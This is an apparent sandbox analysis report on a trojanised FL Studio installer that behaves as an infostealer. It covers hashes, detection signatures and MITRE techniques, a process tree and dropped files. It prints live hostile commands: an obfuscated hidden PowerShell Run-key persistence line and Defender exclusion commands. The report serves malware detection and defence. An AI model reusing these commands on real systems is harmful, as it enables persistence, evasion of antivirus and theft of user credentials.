83dc123d31c5be60e541eaee0b9808bf895988fe9654a56c9d4f16caba9a44c0

Analysis

max time kernel
274s
max time network
301s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
04/08/2026, 18:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FLStudio2025_v64_Win.exe
Size 1.3MB
Sample260804-w4rmbavvhs
SHA256 83dc123d31c5be60e541eaee0b9808bf895988fe9654a56c9d4f16caba9a44c0
MD5 351de6bbe3516d1a215877cf0ae76ad7
SHA1 d8a8ad18e6fc18794793c1fdee8314cdb4149f75
SHA512 256fe08ad8770a5ccfcade8bd07ef4bfc22b5e4bab9f58b5e3548dbd4c5044f89607a7dc9065c30946da6ef002168abe54542910d9b5c7ccedade33462365876
SSDEEP 24576:sismJxIlH6kz7WpZ5JdCWturEZIrMOGKdsLn+pCe/kBHz2zJEQjh49:si3JxLkz7WT5DCDEZId9dMn+4eiHz2Ju
TLSH
T179552318A729CC33ECE9237506B7D3B55671CE8FB016C2769AFDCC9B7A1421B78142A1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1696	powershell.exe
3860	powershell.exe
4672	powershell.exe
5216	powershell.exe
5080	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
97	4552	FLStudio2025_v64_Win.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	FLStudio2025_v64_Win.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	DtnoGslllksZ.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	FLStudio2025_v64_Win.exe

Executes dropped EXE 3 IoCs

pid	Process
1100	DtnoGslllksZ.exe
5364	DtnoGslllksZ.exe
1268	FT7dXybTn77L.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DtnoGslllksZ = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$3stfwo=5941;$lpdatn=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$px2ccc=$env:COMPUTERNAME;$x4mz1w=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXER0bm9Hc2xsbGtzWi5leGU=')));$4a2dlb=Get-Date;& $lpdatn -FilePath $x4mz1w\""	FLStudio2025_v64_Win.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

SmartAssembly .NET packer 4 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral2/memory/5184-5-0x0000000005C00000-0x0000000005C14000-memory.dmp	SmartAssembly
behavioral2/memory/1100-66-0x0000000007770000-0x0000000007784000-memory.dmp	SmartAssembly
behavioral2/memory/1268-210-0x000001B605E80000-0x000001B605E94000-memory.dmp	SmartAssembly
behavioral2/memory/392-250-0x0000020C95330000-0x0000020C95344000-memory.dmp	SmartAssembly

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5184 set thread context of 4552	5184	FLStudio2025_v64_Win.exe	85
PID 1100 set thread context of 5364	1100	DtnoGslllksZ.exe	94

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4656-221-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-223-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-227-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-225-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-226-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-235-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-244-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-245-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-246-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/4656-247-0x0000000140000000-0x00000001440A7000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3288	5364	WerFault.exe	94

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FLStudio2025_v64_Win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FLStudio2025_v64_Win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DtnoGslllksZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DtnoGslllksZ.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	FLStudio2025_v64_Win.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FLStudio2025_v64_Win.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
5184	FLStudio2025_v64_Win.exe
5184	FLStudio2025_v64_Win.exe
4672	powershell.exe
4672	powershell.exe
1696	powershell.exe
1696	powershell.exe
1100	DtnoGslllksZ.exe
1100	DtnoGslllksZ.exe
5216	powershell.exe
5216	powershell.exe
4552	FLStudio2025_v64_Win.exe
4552	FLStudio2025_v64_Win.exe
1268	FT7dXybTn77L.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	5184	FLStudio2025_v64_Win.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe
Token: 34	4672	powershell.exe
Token: 35	4672	powershell.exe
Token: 36	4672	powershell.exe
Token: SeDebugPrivilege	1100	DtnoGslllksZ.exe
Token: SeDebugPrivilege	5216	powershell.exe
Token: SeIncreaseQuotaPrivilege	5216	powershell.exe
Token: SeSecurityPrivilege	5216	powershell.exe
Token: SeTakeOwnershipPrivilege	5216	powershell.exe
Token: SeLoadDriverPrivilege	5216	powershell.exe
Token: SeSystemProfilePrivilege	5216	powershell.exe
Token: SeSystemtimePrivilege	5216	powershell.exe
Token: SeProfSingleProcessPrivilege	5216	powershell.exe
Token: SeIncBasePriorityPrivilege	5216	powershell.exe
Token: SeCreatePagefilePrivilege	5216	powershell.exe
Token: SeBackupPrivilege	5216	powershell.exe
Token: SeRestorePrivilege	5216	powershell.exe
Token: SeShutdownPrivilege	5216	powershell.exe
Token: SeDebugPrivilege	5216	powershell.exe
Token: SeSystemEnvironmentPrivilege	5216	powershell.exe
Token: SeRemoteShutdownPrivilege	5216	powershell.exe
Token: SeUndockPrivilege	5216	powershell.exe
Token: SeManageVolumePrivilege	5216	powershell.exe
Token: 33	5216	powershell.exe
Token: 34	5216	powershell.exe
Token: 35	5216	powershell.exe
Token: 36	5216	powershell.exe
Token: SeDebugPrivilege	1268	FT7dXybTn77L.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 5184 wrote to memory of 4672	5184	FLStudio2025_v64_Win.exe	83
PID 5184 wrote to memory of 4552	5184	FLStudio2025_v64_Win.exe	85
PID 5184 wrote to memory of 4552	5184	FLStudio2025_v64_Win.exe	85
PID 5184 wrote to memory of 4552	5184	FLStudio2025_v64_Win.exe	85
PID 5184 wrote to memory of 4552	5184	FLStudio2025_v64_Win.exe	85
PID 5184 wrote to memory of 4552	5184	FLStudio2025_v64_Win.exe	85
PID 5184 wrote to memory of 4552	5184	FLStudio2025_v64_Win.exe	85
PID 5184 wrote to memory of 4552	5184	FLStudio2025_v64_Win.exe	85
PID 1696 wrote to memory of 1100	1696	powershell.exe	88
PID 1100 wrote to memory of 5216	1100	DtnoGslllksZ.exe	92
PID 1100 wrote to memory of 5364	1100	DtnoGslllksZ.exe	94
PID 1100 wrote to memory of 5364	1100	DtnoGslllksZ.exe	94
PID 1100 wrote to memory of 5364	1100	DtnoGslllksZ.exe	94
PID 1100 wrote to memory of 5364	1100	DtnoGslllksZ.exe	94
PID 1100 wrote to memory of 5364	1100	DtnoGslllksZ.exe	94
PID 1100 wrote to memory of 5364	1100	DtnoGslllksZ.exe	94
PID 1100 wrote to memory of 5364	1100	DtnoGslllksZ.exe	94
PID 4552 wrote to memory of 1048	4552	FLStudio2025_v64_Win.exe	101
PID 4552 wrote to memory of 1048	4552	FLStudio2025_v64_Win.exe	101
PID 4552 wrote to memory of 5372	4552	FLStudio2025_v64_Win.exe	104
PID 4552 wrote to memory of 5372	4552	FLStudio2025_v64_Win.exe	104
PID 4552 wrote to memory of 1268	4552	FLStudio2025_v64_Win.exe	107

C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v64_Win.exe
"C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v64_Win.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5184
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v64_Win.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v64_Win.exe
  "C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v64_Win.exe"
  2⤵
  - Downloads MZ/PE file
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:1048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:5372
- - C:\Users\Admin\AppData\Local\FT7dXybTn77L.exe
    "C:\Users\Admin\AppData\Local\FT7dXybTn77L.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\FT7dXybTn77L.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5080
  - - C:\Users\Admin\AppData\Local\FT7dXybTn77L.exe
      C:\Users\Admin\AppData\Local\FT7dXybTn77L.exe
      4⤵
      PID:4656

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$3stfwo=5941;$lpdatn=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$px2ccc=$env:COMPUTERNAME;$x4mz1w=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXER0bm9Hc2xsbGtzWi5leGU=')));$4a2dlb=Get-Date;& $lpdatn -FilePath $x4mz1w"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Users\Admin\AppData\Roaming\DtnoGslllksZ.exe
  "C:\Users\Admin\AppData\Roaming\DtnoGslllksZ.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DtnoGslllksZ.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5216
- - C:\Users\Admin\AppData\Roaming\DtnoGslllksZ.exe
    "C:\Users\Admin\AppData\Roaming\DtnoGslllksZ.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5364
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5364 -s 1008
      4⤵
      Program crash
      PID:3288

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5452

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4932

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4168

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5684

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$2uzsdm=2195;$csaf3i=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1chvrv=[System.Environment]::TickCount;$makuxh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXG9IQnJLa0l0LmV4ZQ==')));$1chvrv=[System.Environment]::TickCount;& $csaf3i -FilePath $makuxh"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3860
- C:\Users\Admin\AppData\Roaming\oHBrKkIt.exe
  "C:\Users\Admin\AppData\Roaming\oHBrKkIt.exe"
  2⤵
  PID:392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5364 -ip 5364
1⤵
PID:1348

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BF1AA8B2-2055-0D56-61DA-0D3E598245A6.txt

Path C:\ProgramData\BF1AA8B2-2055-0D56-61DA-0D3E598245A6.txt
Size 64B
SHA256 f9da4c73a3a6314412d491e21e7f8e9bd6cb7786b087cf11380111c0aa9398dc
MD5 808f77750fa5c32985dab08c3fe217ca
SHA1 bb1ad30f298d2f39968d00093f134ab598155cf0
SHA512 0304aff800faf8c6dc1912d8459667f681c90e06aff4e4ed8d5f24c965b1297169bd42b4fa6aae4a7227ee5947db19322c69ab7d640467178ec135b225fa0813
TLSH
T12EA02232320803C0E282028030F280C22A2B0200C02C8EE8C02A0003E030338E3A0C03
MD5 SHA1 SHA512 TLSH

Submit Download

BF1AA8B2-2055-0D56-61DA-0D3E598245A6.txt

Path C:\ProgramData\BF1AA8B2-2055-0D56-61DA-0D3E598245A6.txt
Size 64B
SHA256 e5da6319b9abf4e9748d31d81c0372b2f906cfe4aa8f6ce3f34f1b4ee5ff4598
MD5 40f5a871ca2a47741913f28875be319d
SHA1 952cdd19d385d8dc3c5f5f08e85e9b3a670b5e9d
SHA512 67419fa4f2162b5a6c5a39dbd62976304686a54bbc7104b80f4823fcafcdaa5d849ada0112a730d4b2afe1ccb5a80249025efad2529387656675ab1d4056ef21
TLSH
T188A022302C08AAFEAAE0C20220C088028000C0333B8CAB0000020B8022C0222CE300AC
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
Size 355B
SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
MD5 53ae64e9ee4ba962ee4b516077735710
SHA1 dae8a6fd15a9c447cdb2778f63880db25b0dd198
SHA512 ec31df0d1fbf225bc5a884ee8324aab6e2aa43031bede210b04677ed825966c8ebc0693b06d8f0e55de2cd5919b95a7b25691b6ae1fab893f58756e08836a168
TLSH
T1BFE0C08867AC24200AB19E539550C4936FBE31892970B05C8251CBED30C1A58C28B30F
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

Submit Download

25832B910FB5595E2F3C6F7F6637E9D1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\25832B910FB5595E2F3C6F7F6637E9D1
Size 37KB
SHA256 2d4b4ca93c211a62d4565aacae3d01c02b5c4731be2bc8ed97f21a0f2a800c97
MD5 bad6a3579dbf93183fef27aae41ef42a
SHA1 f4f0895a10c590b94baea489b6e3fa8365d9ef3c
SHA512 516794d7ef5280287d15486120caf8cfb9b49e9ecfb29d3744e0e7c465f27eef6b5fa648d45a83dd9ea20c82faf27f0527732212266c6549230591ce600ed20a
SSDEEP 768:MHZdqK0ePkr3BU0lwj4Lc+X7bauY9Mq11rMvsM9f:oZ1jPkrxULgA37y
TLSH
T1BD033DA89C37FDA19D7B8F65CEAEDA7216F512CD2D42822E0E307E505D13A5BDA37040
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 1ea43cfeffe33f7374d86f712ace37b1727902424ca0ca5fba2a739bc4563006
MD5 f979b9392ed2f874126fa47e629bd76a
SHA1 2146a8d51112ac286a57e9d2367444e2ebf8af4d
SHA512 561fdfb2bd9e30fd8844af71a2f49e76502de1ef8bc3f8f9981ba57dda078bf9d741aa89fe3f7c416be1cf7222de413eb0c0f5ffe423fa42bf4ed9cb2336092b
TLSH
T126C08C2C5AAA0A06F2A843BD02C13A139B20C101F6418F051BF12A08D996B162938D2A
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
Size 192B
SHA256 ffae06d342ec601a5191bba5168f639c04e19386546e3710dde348409dd095a4
MD5 b193efd1f54acdee4aca846b07993d05
SHA1 2cf1be2a62d05fb8c534d4eff61e55baa17a755d
SHA512 9a3d19e8c59799ca6474c62409e7b0735d34ececef79fd94214b30a8db8bb5b2294d70c5ff61f543f9648baad566c6bdbb411100140a457f5b9d346bc91aa141
TLSH
T1CEC08C1C5AB20606F2E443BD12C16D03AB208420F3458F0117B12A08CC51F502C34C28
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 192B
SHA256 3754d216e2ad019bf65c2fc6cd077d7cead280d4012d86ec7e21a0524577b818
MD5 dca2c0c2bbfb06a691e873b74d4e361c
SHA1 67d356f06528ce91f368f079608285c0db12b703
SHA512 262d3ea13bf58a1519fff4cde508aa9b3217d9340e9c7ab07e621146487a6e1c364bba1f7b382efd2b71ef662667cfc94a2e211d3f75110a9e1e5b3d29a2fab4
TLSH
T186C08C181BA20606F2E80BBE22D02A839A14E011F2818F0A163E2A489C60B141D30C1C
MD5 SHA1 SHA512 TLSH

Submit Download

25832B910FB5595E2F3C6F7F6637E9D1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\25832B910FB5595E2F3C6F7F6637E9D1
Size 246B
SHA256 7aaf06f28509dc05be39d8455ff78c9068c7e5d86e189d28b0f1e8a52a6a0494
MD5 d5f8a10be77c68d11380fb02abb59261
SHA1 9d7af8ccd4b681a9853739527e70d2f98bf3b837
SHA512 47012e1151c2c9512ce5c735e1c86dd1c9fa4a24ddd3a3a6cc5f2dd235ed856fe838b6d7a785b034698139496cc2a13ce50a46bc5d6158fc6fd566d072fefcab
TLSH
T189D022021FD8113AF437073414308B806A107102B1434B4E1B72404D8C1DBC0B573C1C
MD5 SHA1 SHA512 TLSH

Submit Download

FT7dXybTn77L.exe

Path C:\Users\Admin\AppData\Local\FT7dXybTn77L.exe
Size 11.5MB
SHA256 329cb3582506bc7b7da039b4f75ea2a2ccdb45f8b8ad6817fd52fbe2e975b0e8
MD5 cbb907d008c300b1ba66d760d71263a8
SHA1 fc957170cafa2c8b35acefd858ec2530b52a407f
SHA512 83af53a34337d73a3081b582c6153c773a43e7aa28bb748ebb1731c8a9da6b7fbe48475a5e884bc90534c33f49de33867e9a531b9159a7ea1a8fabfad3eb9fff
SSDEEP 196608:KyNHSFPZDFrMFipIjAPbRNrFO647KW2xXyvNbHkp+FQpDfynl8jxkOWlpRmYagg:Kky7FrM4/dS37kXSNbEDpDNxEP4Yagg
TLSH
T1F0C6332DDEE8D901CAE82B739263D178D170DE81EA1F8964C1F77E833D1D13625607AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d
MD5 4521e67a3b03b060fde700c36d3b9297
SHA1 4a730cd86dc7a57ac001d59853dd500c1b83b4ab
SHA512 90235850eef71c2f0921d04e6990147af9e76fec8ee49e12e6a5bab065ff0e63331a54be845026f17a7b1dd230ee94843099db4813c127c6bafb8cbaf59b753f
TLSH
T12D61DB313275B0E4C95A7F47192819C063BF8395FA98AF5CB65C521EE92740B9B223F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 730aff8c9e430a9f9e5e44f1c376e57f42fa5adc744824df2f69855009473592
MD5 f811272c20ff6decbbd16ff364334427
SHA1 cb31be66c972daa61d45920fa2fa824c1dfb194d
SHA512 5c68bf3a41c3607cad5abe94f2bb3816f3e69426fa7d43bf7c9787c4e9ce6660b1843a2e505a22a93d7008b76fc564078513fe9ef47051e5b6fc344ab9d0a528
TLSH
T14F417B303131B4D84D826F0215286EC5A3EF878AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 32f69df46503dddd29114a600b663b0bfa8a2ec0a11870fa67acff37e9470222
MD5 2a3a5662055033eb8241d0c233c7fc31
SHA1 d4f6973fab77831fb05e7f7c586f8c78246a9370
SHA512 e31fb1a228159572c01b059be8827bab5379bcfdb25f0b2e7dfd3057ed2b3a6980e62893c63cd2c4e27130a26002e1af85150eff1a31a51f52115ec53f0267de
SSDEEP 384:EhQD3QGTjFaloFn8qwKuSmGm7pkqGVrGEtvRl54f77H4bu:KgQYjgo3pM1GtGExRlwJ
TLSH
T12FA2082D66AB8D8FCC4764A545898B8CDBE4DD52A3E162CFEB0FA90E5C4B83C55500FC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bc155a091781a76ef6811cf536a50729729fcf645f4232107072178ad186c5ab
MD5 730d375c503ac7775813330efd853380
SHA1 300c1b9ab4fb1434c3d8707309794bdd972717d2
SHA512 ce04a25ef018692dbc125433d00416badf2a9084d536dd83f8040bfcbac96f7f947ae5d13f147337aa96164553f050a9398ee369a7681f24cadc6b194e8a4f49
TLSH
T18F217123B3DD8890CC89023A609C9C907AA7D7C780DEDFCB2EC4C215A17FA99CB20161
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
